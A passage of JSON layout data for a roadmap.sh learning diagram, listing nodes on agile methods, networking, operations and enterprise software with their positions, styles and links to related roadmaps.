2103.449136096591\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"qwpsGRFgzAYstM7bJA2ZJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -303.45679584154783,\n        \"y\": 1993.319351034787\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LeSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 76\n      },\n      \"positionAbsolute\": {\n        \"x\": -303.45679584154783,\n        \"y\": 1993.319351034787\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Bg7ru1q1j6pNB43HGxnHT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -224.45679584154783,\n        \"y\": 1993.319351034787\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SaFE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 76\n      },\n      \"positionAbsolute\": {\n        \"x\": -224.45679584154783,\n        \"y\": 1993.319351034787\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O7H6dt3Z7EKohxfJzwbPM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -304.5129378536217,\n        \"y\": 2046.319351034787\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kanban\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 101\n      },\n      \"positionAbsolute\": {\n        \"x\": -304.5129378536217,\n        \"y\": 2046.319351034787\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PKqwKvoffm0unwcFwpojk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -200.38008047930697,\n        \"y\": 2046.319351034787\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Scrum\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 110\n      },\n      \"positionAbsolute\": {\n        \"x\": -200.38008047930697,\n        \"y\": 2046.319351034787\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7fL9lSu4BD1wRjnZy9tM9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -145.45679584154783,\n        \"y\": 1993.319351034787\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"XP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 56,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 56,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -145.45679584154783,\n        \"y\": 1993.319351034787\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 56,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cBWJ6Duw99tSKr7U6OW3A\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 53.02174042035165,\n        \"y\": 1963.5613549649484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Networks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 53.02174042035165,\n        \"y\": 1963.5613549649484\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Mt5W1IvuHevNXVRlh7z26\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.02174042035165,\n        \"y\": 2035.0393153503123\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OSI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.02174042035165,\n        \"y\": 2035.0393153503123\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UCCT7-E_QUKPg3jAsjobx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.02174042035165,\n        \"y\": 2088.0393153503123\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TCP/IP Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 38.02174042035165,\n        \"y\": 2088.0393153503123\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Nq6o6Ty8VyNRsvg-UWp7D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.02174042035165,\n        \"y\": 2141.0393153503123\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP, HTTPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.02174042035165,\n        \"y\": 2141.0393153503123\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6_EOmU5GYGDGzmNoLY8cB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.02174042035165,\n        \"y\": 2194.0393153503123\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Proxies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.02174042035165,\n        \"y\": 2194.0393153503123\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Hqk_GGsFi14SI5fgPSoGV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.02174042035165,\n        \"y\": 2247.0393153503123\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Firewalls\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.02174042035165,\n        \"y\": 2247.0393153503123\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EdJhuNhMSWjeVxGW-RZtL\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 219.62236418857248,\n        \"y\": 1963.5613549649484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Operations Knowledge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 219.62236418857248,\n        \"y\": 1963.5613549649484\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"igf9yp1lRdAlN5gyQ8HHC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 517.3511997578869,\n        \"y\": 1801.7604150408933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Infrastructure as Code\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 517.3511997578869,\n        \"y\": 1801.7604150408933\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C0rKd5Rr27Z1_GleoEZxF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 517.3511997578869,\n        \"y\": 1854.7604150408933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud Providers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 517.3511997578869,\n        \"y\": 1854.7604150408933\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WoXoVwkSqXTP5U8HtyJOL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 517.3511997578869,\n        \"y\": 1907.7604150408933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Serverless Concepts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 517.3511997578869,\n        \"y\": 1907.7604150408933\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XnvlRrOhdoMsiGwGEhBro\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 517.3511997578869,\n        \"y\": 1960.7604150408933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linux / Unix\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 517.3511997578869,\n        \"y\": 1960.7604150408933\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OErbfM-H3laFm47GCHNPI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 517.3511997578869,\n        \"y\": 2013.7604150408933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Service Mesh\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 517.3511997578869,\n        \"y\": 2013.7604150408933\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"isavRe4ANVn77ZX6gNSLH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 517.3511997578869,\n        \"y\": 2066.7604150408933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CI / CD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 517.3511997578869,\n        \"y\": 2066.7604150408933\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l3oeo65FyV5HHvw5n_1wa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 517.3511997578869,\n        \"y\": 2119.7604150408933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Containers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 517.3511997578869,\n        \"y\": 2119.7604150408933\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CxceVdaNCyKDhs0huDtcL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 517.3511997578869,\n        \"y\": 2172.7604150408933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 517.3511997578869,\n        \"y\": 2172.7604150408933\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"glz8FmnkNhdmgBUj3EeL2\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 517.3511997578869,\n        \"y\": 2225.7604150408933\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit DevOps Roadmap\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 517.3511997578869,\n        \"y\": 2225.7604150408933\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8yALyPVUZPtd7LX3GrO1e\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 231.12236418857248,\n        \"y\": 2394.1340715881647\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Enterprise Software\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 231.12236418857248,\n        \"y\": 2394.1340715881647\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gdtI0H_PzzTj_aFQn_NeA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -217.58070017726277,\n        \"y\": 2315.971559527482\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MS Dynamics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 310\n      },\n      \"positionAbsolute\": {\n        \"x\": -217.58070017726277,\n        \"y\": 2315.971559527482\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 310,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TxWAznp1tUtZ1MvThf9M1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -217.58070017726277,\n        \"y\": 2368.971559527482\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SAP ERP, HANA, Business Objects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 310\n      },\n      \"positionAbsolute\": {\n        \"x\": -217.58070017726277,\n        \"y\": 2368.971559527482\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 310,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YfYviOXqGVp9C6DuhqBrn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -217.58070017726277,\n        \"y\": 2421.971559527482\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"EMC DMS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -217.58070017726277,\n        \"y\": 2421.971559527482\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5EVecZmvor09LjD7WR_Y9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -52.580700177262884,\n        \"y\": 2421.971559527482\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IBM BPM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -52.580700177262884,\n        \"y\": 2421.971559527482\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mOXyzdNn8W-9R99ffcnor\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -217.58070017726277,\n        \"y\": 2474.971559527482\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Salesforce\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 310\n      },\n      \"positionAbsolute\": {\n        \"x\": -217.58070017726277,\n        \"y\": 2474.971559527482\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 310,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ju00mr0KLGN2BV6yEQGPt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 319.6223641885725,\n        \"y\": 2675.8489889520815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": 319.6223641885725,\n        \"y\": 2675.8489889520815\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 661,\n      \"height\": 116,\n      \"id\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -0.377635811427524,\n        \"y\": 2588.4929641767267\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the following relevant roadmaps and keep learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -0.377635811427524,\n        \"y\": 2588.4929641767267\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 661,\n        \"height\": 116\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 661,\n        \"height\": 116\n      }\n    },\n    {\n      \"width\": 167,\n      \"height\": 49,\n      \"id\": \"gC8lsIdYLRzo3HzwVqtm1\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 10.84398263919212,\n        \"y\": 2644.1746462644314\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 10.84398263919212,\n        \"y\": 2644.1746462644314\n      },\n      \"style\": {\n        \"width\": 167,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 181,\n      \"height\": 49,\n      \"id\": \"U4YFpc82iJ60qD3aYnJkt\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 180.84398263919212,\n        \"y\": 2644.1746462644314\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"System Design\",\n        \"href\": \"https://roadmap.sh/system-design\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 180.84398263919212,\n        \"y\": 2644.1746462644314\n      },\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 285,\n      \"height\": 49,\n      \"id\": \"uSLzfLPXxS5-P7ozscvjZ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 364.8439826391921,\n        \"y\": 2644.1746462644314\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Software Design & Architecture\",\n        \"href\": \"https://roadmap.sh/software-design-architecture\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"PkhQdVms2TGgnPrytCBPZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 364.8439826391921,\n        \"y\": 2644.1746462644314\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 387.8763900167917,\n        \"y\": -64.07316744617222\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 387.8763900167917,\n        \"y\": -64.07316744617222\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 401.0797644295918,\n        \"y\": 17.91239597157309\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 401.0797644295918,\n        \"y\": 17.91239597157309\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X3IC3D4MqkxpS6s99vdj-\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -314.9127590352981,\n        \"y\": -64.07316744617222\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"Wf1doH-r2O2KQg10KlDTg\",\n            \"label\": \"Backend Roadmap\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"agyDe3W2cYRntQmaYvBLK\",\n            \"label\": \"Full Stack Roadmap\",\n            \"url\": \"https://roadmap.sh/full-stack\"\n          },\n          {\n            \"id\": \"8uHwJHkTFd9i96Msga1sU\",\n            \"label\": \"System Design Roadmap\",\n            \"url\": \"https://roadmap.sh/system-design\"\n          },\n          {\n            \"id\": \"m_W25IDodjbRKNzoXENO0\",\n            \"label\": \"Software Design & Architecture\",\n            \"url\": \"https://roadmap.sh/software-design-architecture\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 321,\n      \"height\": 197,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -314.9127590352981,\n        \"y\": -64.07316744617222\n      },\n      \"style\": {\n        \"width\": 321,\n        \"height\": 197\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 321,\n        \"height\": 197\n      }\n    },\n    {\n      \"id\": \"b6lCGw82qKpUmsxe1r1f5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        